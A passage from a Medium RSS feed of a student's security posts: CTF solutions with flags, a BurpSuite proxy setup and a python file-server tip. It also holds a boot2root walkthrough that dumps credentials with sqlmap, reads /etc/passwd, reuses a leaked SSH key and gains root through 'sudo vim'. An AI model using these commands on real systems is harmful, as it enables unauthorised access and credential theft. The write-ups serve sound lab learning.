alt="" src="https://cdn-images-1.medium.com/max/622/1*RK-yIoR5EMtHv9_qpPRrgQ.png" /></figure><p>Now, definitely the players (or those who knows me well) will think that I might hid the flag in the source code comment. However, for this time…nope. It’s not there.</p><p>Let’s refer to the question again;</p><p>Knocking on the door, they took the courage…<br>‘Trick or treat?’</p><p>In this scenario, I wish players to put themselves in the shoes of a pentester (or hackers) to solve this challenge. What is the treat for hackers? Definitely the user credentials!</p><p>Players can obtain the credentials using SQLMap. As the only database that this challenge seemed to have is user credentials, players can turn on their terminal and prompt for the following command:</p><p><strong>Command: </strong>sqlmap -u “http://&lt;given address&gt;/login.php&quot; — data “username=test&amp;password=test” — dbms=mysql — dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3c4u_QXNTymadYTcNND3SQ.png" /></figure><p>The table presented is the database available for this website. It is identified that the password under the username ‘red’ is the flag.</p><p>The flag is:</p><p><strong>Flag: gohunikl2023{sWe375_or_l0Ll1e5}</strong></p><h4>Challenge category: Forensic — The realm of Eerie-Area</h4><p>Question: In this mysterious realm, a malevolent force is at play. Uncover the hidden malevolence within. Figure out the dark secrets the area holds.</p><h4><strong>Walkthrough</strong></h4><p>Given to participants a pcap file named eerie-area.pcapng. Once participants opened the file, search for http at the search bar. Notice that there is a GET request with encoded string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dlh4Mb7lcghZB_ewncHDRw.png" /></figure><p>Copy the encoded string and go to cyberchef to decode. It is recognized that the string is encoded in base 58 and a url was decoded from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*UaYyvMgqiBURRC_06Iti1Q.png" /></figure><p>Go to the url and download the file given. The file is identified to be in .exe however, before executing the file, it is better for us to first analyze the file.</p><p>Prompt for the <strong>command</strong> below:<br>exiftool -e boo.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*a5E3zq_CkyO32afDRKQDTw.png" /></figure><p>It is identified that the file is not an application, but rather a zip file instead. Change the extension of the file and proceed to extract the file using the command prompt below:<br>gzip -d boo.tar.gzip</p><p>Once the file is unzip and extracted, check for the content of the file. There is again another executable file within, however the name of the file is in the flag format. Again, analyze the file using the same method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*QEKy6V5slfcpJeT9WMXkGg.png" /></figure><p>It is figured that the file is a text file. Thus, change the extension of the file into .txt. Once opening the file, you will then obtain the flag for this challenge that is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*EV43FOoWbJxsN117npz1_Q.png" /></figure><p><strong>Flag: gohunikl2023{p3eK_4_&amp;0o}</strong></p><blockquote>There are also other methods to easily solve this challenge. Feel free to use the ones you are comfortable with. The ones I am sharing is intended to give a general understanding and overview to solve these challenges.</blockquote><p>Shout out to all participants participated in this CTF. Thank you for participating, putting efforts in finding the flags and all the trials you guys did for all the challenges.</p><p>That’s all for this blog. I hope you guys enjoy reading this walkthrough.</p><p>Until the next time! ~~</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=884cb6bb95e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Install and configuring FoxyProxy with BurpSuite]]></title>
            <link>https://hannrul.medium.com/install-and-configuring-foxyproxy-with-burpsuite-5f53f55287db?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f53f55287db</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[firefox]]></category>
            <category><![CDATA[web-pen-testing]]></category>
            <category><![CDATA[foxyproxy]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 23:31:13 GMT</pubDate>
            <atom:updated>2023-10-27T23:43:03.487Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Howdy, everyone!</strong> I hope this blog posting finds you well.</p><p>I just started my internship period and aside from still adapting to the ‘working life’, I managed to learn quite a lot of stuff within less than a month — of course, either shared by other interns and staffs. It was really heartwarming to be doing internship at this company so far, as an introvert myself. They are very warm and accepting.</p><p>In this blog, I will be sharing with everyone (and a note to myself too so that I can refer back to this post if I forget) on — I’d rather say, a more convenient way to use BurpSuite together with Mozilla FireFox as your browser. Just like the title, I will be sharing in this post about the steps to <strong>install and configure FoxyProxy with BurpSuite</strong>.</p><p>First, open your browser — well, I’m using FireFox, so this example is based on FireFox. The steps are pretty much the same for other browsers. Feel free to explore.</p><p>Go to the extension symbol (yeah, the puzzle button) or if it cannot be found, you can go to the three-lines button and click on <strong><em>More Tools</em></strong> and choose <strong><em>Extension for developers</em></strong>.</p><p>Then, search for FoxyProxy Standard and click add.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*yjSku9itInUR9WtIG8WpQg.png" /><figcaption>You can simply enter FoxyProxy at the search bar provided in the extension add-ons page.</figcaption></figure><p>The FoxyProxy will then be added as an extension in your browser once the installation process completes.</p><p>Hover and click onto the <strong>FoxyProxy</strong> extension, click on <strong><em>Option</em></strong> button and choose the <strong><em>Add </em></strong>section. You are required to add information about the proxy settings you wish to include. Since we are configuring it together with BurpSuite, the added information shall be the ones provided by BurpSuite itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*gkXW1QJFNfoXLGiTxbRYLA.png" /><figcaption>Ensure that you are at the<strong> Add</strong> section page.</figcaption></figure><p>Now, open your BurpSuite application. Swift to the <strong><em>Proxy</em></strong><em> tab</em> and select <strong><em>Proxy settings</em></strong>.</p><p>Click on the Proxy settings and make sure to add the Proxy listeners is set to localhost (127.0.0.1 is also called as localhost) and port 8080 (HTTP port) — if it is not available, you can add it yourselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*_TZSYymLvt8uBuSswjFC2g.png" /><figcaption>You are required to add this IP address and port in the Add section page of FoxyProxy to allow the interception of HTTP and HTTPS traffic between FoxyProxy and BurpSuite.</figcaption></figure><p>Then, go to the search bar and search for the 127.0.0.1:8080. You will then be required to download the CA Certification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*UbOdKGBX5Qspe-AswRMgKQ.png" /></figure><p>Once you have downloaded the certificate, hover your mouse to settings and search for certification (or cert). Click on the View Certificates button and Import for the certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*2cpeFWkOLJA6eqdzc6ho4g.png" /></figure><p>Press <strong><em>OK </em></strong>and then turn on your FoxyProxy and Intercept in BurpSuite to run the test. If the Burpsuite produced result of stating the information of the subject you browsed for, that means this setup is successful for you.</p><blockquote><strong>Note: Please ensure to turn on FoxyProxy and BurpSuite to allow the interception to happen.</strong></blockquote><p>That is all for this post. I hope it helps you as much as it helps me. See yall in the next posting. Annyeong, yeoreobeun!! :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f53f55287db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Set up a client and HTTP server connection via terminal]]></title>
            <link>https://hannrul.medium.com/launch-a-client-and-http-server-connection-via-terminal-1ccceea9c4fa?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ccceea9c4fa</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[clients]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[https]]></category>
            <category><![CDATA[servers]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Thu, 12 Oct 2023 05:26:27 GMT</pubDate>
            <atom:updated>2023-10-12T09:21:27.236Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Hello, everyone~~</em></strong></p><p>I know, I know… It has been quite some time since my last post. I have been taking a break from doing any practical or technical activities as my time was mainly spent wrapping up and finalising my final year project, spending my time with my family and for myself.</p><p>For this blog update, I will be posting on a method that I believe will be beneficial for beginners as well as others who may experience some network issues within operating systems (?) or you might have some issues to drag and drop (or copy and paste) in virtual environments. I truly believe that this method will be exceptionally useful at times, especially during CTF competition.</p><p><strong>With that, I shall present to you the command:</strong></p><p><strong>python -m http.server &lt;port&gt;</strong></p><p>This command is used to establish a simple web server that allows you (<em>yes, US!</em>) to share files from a folder or directory from (well, in my case) my host to virtual machines within the virtual box. This command will start a simple HTTP server using the http.server module available in Python. The communication that is established occurs through a web browser (for the client) and a server (the host), and through this, the client will be able to access the files available within the server over the network in static content.</p><p>But wait… How do I run this command? What are the steps?</p><p>As easy as the command is, the execution is also <strong><em>very kacang (easy)</em></strong>.</p><blockquote>PS: This example is made using a Windows host with a Windows virtual machine. The client and server are variables; hence, it varies according to individual conditions.</blockquote><p>All you must do is first check the IP address of the connection that the server (host or anything that shall act as the subject for the client to extract or obtain a file from) is established on via the command <strong>ipconfig</strong>. Yes, it is the IP address. Turn on your terminal and enter the following command:</p><p><strong>Command: ipconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*KMY7uNMy-n1V-GfLf-8_Xw.png" /></figure><p>From the command, there will be a list of the current configuration of network interfaces available on your server. Then, scroll down and find the WiFi adapter that your device is connected to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*0FhjkZjRnlHtzUJvS8_v1A.png" /></figure><p>Once you have identified the IP address (for some who may not be familiar, you will need to take note of the IPv4 address only), run the python command. Feel free to use any number of ports that you are comfortable with — but don’t settle for the common ports you know; use your favourite numbers or even 8080 😊</p><blockquote>Additional info: It is also okay for you to not specify any port because the connection is established via http. Hence, the connection will occur through port 8000</blockquote><p><strong>Command: python -m http.server &lt;port&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*7n4jHdk_3mfq-YoHUEDqeg.png" /></figure><p>Now that the command is entered, waltz over to your favourite virtual machine, open your favourite browser and key in the IP address earlier together with the port in the address bar and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*WXKYmF47g6HNZA2NPEVFPw.png" /></figure><p>There you have it! You have established a client and server HTTP connection within your own device.</p><p><strong>That is all for this blog. Until the next blog, everyone! Toddle — oo</strong> 😊</p><p><em>Shout out to princess kagu who taught me this!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ccceea9c4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HopHopJump Walkthrough — Part 2 (Final)]]></title>
            <link>https://hannrul.medium.com/hophopjump-walkthrough-part-2-final-6f48ef753aab?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f48ef753aab</guid>
            <category><![CDATA[boot2root]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Tue, 02 May 2023 10:59:24 GMT</pubDate>
            <atom:updated>2023-05-02T13:46:18.430Z</atom:updated>
            <content:encoded><![CDATA[<h3>HopHopJump Walkthrough — Part 2 (Final)</h3><p><strong><em>Sabar ya semua. Sikit je lagi……</em></strong></p><p>Back again to the final part of this box where all you have to do are privilege escalations and finding the flags. There are two flags hidden and each of the flags are hidden one in the normal user and the other is in the root.</p><p>Now that you have entered the shell, you need to ‘identify your identity’ within. Thus, prompt for</p><p><strong>Command: whoami</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/101/1*mNimy1uZBO7msmXuvL2sQQ.png" /></figure><p>You have figured out that you entered the shell as www-data which is the user by default on Ubuntu web servers. Since the current environment is a dumb shell, you are suggested to change into bash for a better overview while working in the environment. Proceed by checking the version of the python and spawn for a bash shell.</p><p><strong>Command:</strong></p><p><strong>which python3</strong></p><p><strong>python3 -c ‘import pty;pty.spawn(“.bin/bash”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*oKczDz9QDb4telGXSDPkww.png" /></figure><p>You might as well wonder how to know who are the users available in this victim machine. There are multiple ways, and from this point, you can easily escalate into the root. However, since the goal of this box is to find the flags that were hidden, we have to escalate from www-data to normal user and finally into root. This is a way of mine that I am much familiar with, but don’t get yourself restricted to this way…feel free to find and use yours.</p><p>I use etc/passwd not just to see passwords stored, but also to identify the users available within the box. It’s like killing two birds with one stone, you get to know the users and the passwords (unless if it is encrypted or stored in the shadow) with just a command.</p><p><strong>Command: cat /etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*r9eekEEYdi_-9UTH0ZsUxw.png" /></figure><p>From the list, you can see that the name therabbit is strange. Thus, this might be an indicator that it is the normal user that we’re looking for.</p><p>To escalate from www-data to therabbit user, you need to obtain the ssh key. Thus, change your current directory to /var/www and list out for the available files within the directory.</p><p><strong>Command: cd /var/www/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*iUoe6uSL7hTJQJXjtCpctA.png" /></figure><p>View and copy the content of the id_rsa file and paste the content in a text file of your attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*5xuoo98fZN7LLhmi7UYzag.png" /></figure><p>Once the file containing the ssh key is saved in the attacking machine, do not forget to change the permission file into 600. This indicates that only the owner of the file has the access to read and write the file. Open a new terminal prompt for a change to the permission access of the file and enter the shell using ssh.</p><p><strong>Command:</strong></p><p><strong>Change permission access: chmod 600 &lt;the name of the file that stores ssh key in attacking machine&gt;</strong></p><p><strong>Enter the shell: ssh therabbit@&lt;IP address&gt; -i id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*TC38wLLsiHltCYiEK1q0lw.png" /></figure><p>You have now entered the victim machine as therabbit. List out all the files that are available within the home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*zFj-vM7Ii8AE2xzhEIvBjQ.png" /></figure><p>It highlighted two files within the directory. Change the current directory into theRabbit and list out all files within the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*ryp9IqFdFeL0LEH963hGtQ.png" /></figure><p>As the files within this directory is in .txt, simply prompt for concatenate to observe the content of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*XgZnHfIr-z1Pr4otMV0TFw.png" /></figure><p>Within the yellow box is the flag for normal user, which is MIIT{wH0_i5_H3#}.</p><p>Now, let us escalate to the root. Prompt for</p><p><strong>Command: sudo -l</strong></p><p>From the command, you are able to list the sudo privileges of the current user. Seeing that this is a sudo vim vulnerability which it grants a user with sudo privileges the ability to execute arbitrary commands with root privileges, this vulnerability can lead to complete system compromise. Thus, to escalate from current user to root, I used the command below that was obtained from <a href="https://gtfobins.github.io/gtfobins/vim/#sudo"><strong><em>https://gtfobins.github.io/gtfobins/vim/#sudo</em></strong></a><strong><em> .</em></strong></p><p><strong>Command: sudo vim -c ‘;!/bin/sh’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*wXsLQPJ9glRTi5Hi-t6x0w.png" /></figure><p>You have now entered the root shell. The final job right now is to find the last flag that was hidden in this user. Ensure that you are in the directory of root. Then, list out the files available within the current directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*a5-f6foFPG6_1etsCtc83w.png" /></figure><p>Observe that there is a hidden file under the name NWJNS. Change current directory into NWJNS and list out all the files available within.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*kR6Cs_bilLZPIMjAjORTWA.png" /></figure><p>Enter the file Haerin and Minji and list out the files available within. Observe and copy the content of the text files within both Haerin’s and Minji’s. The string in hmmm.txt file in Haerin is in base 32 while huh.txt file in Minji is in base 64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*pE-D0YeNS7fDXIwBkOVW0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*zMtW-ywWcUlevvJ-EWjTGA.png" /></figure><p>Decode both strings into decoder and you will finally obtain the root flag that is MIIT{g07No_t1M32_lo53&amp;#ditt0}.</p><p><strong>VOILA!</strong></p><p><strong>You did not just escalated into root by success, you also obtained both flags that were hidden within the box. CONGRATULATIONS!!!!!</strong></p><p>*****</p><p>I hope this walkthrough of mine is easy to be comprehended and thank you for reading and solving this ‘case’. Till the next blog!!!</p><p><strong>P/S: Wishing everyone Happy Eid Mubarak (Selamat Hari Raya) Aidilfitri.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f48ef753aab" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>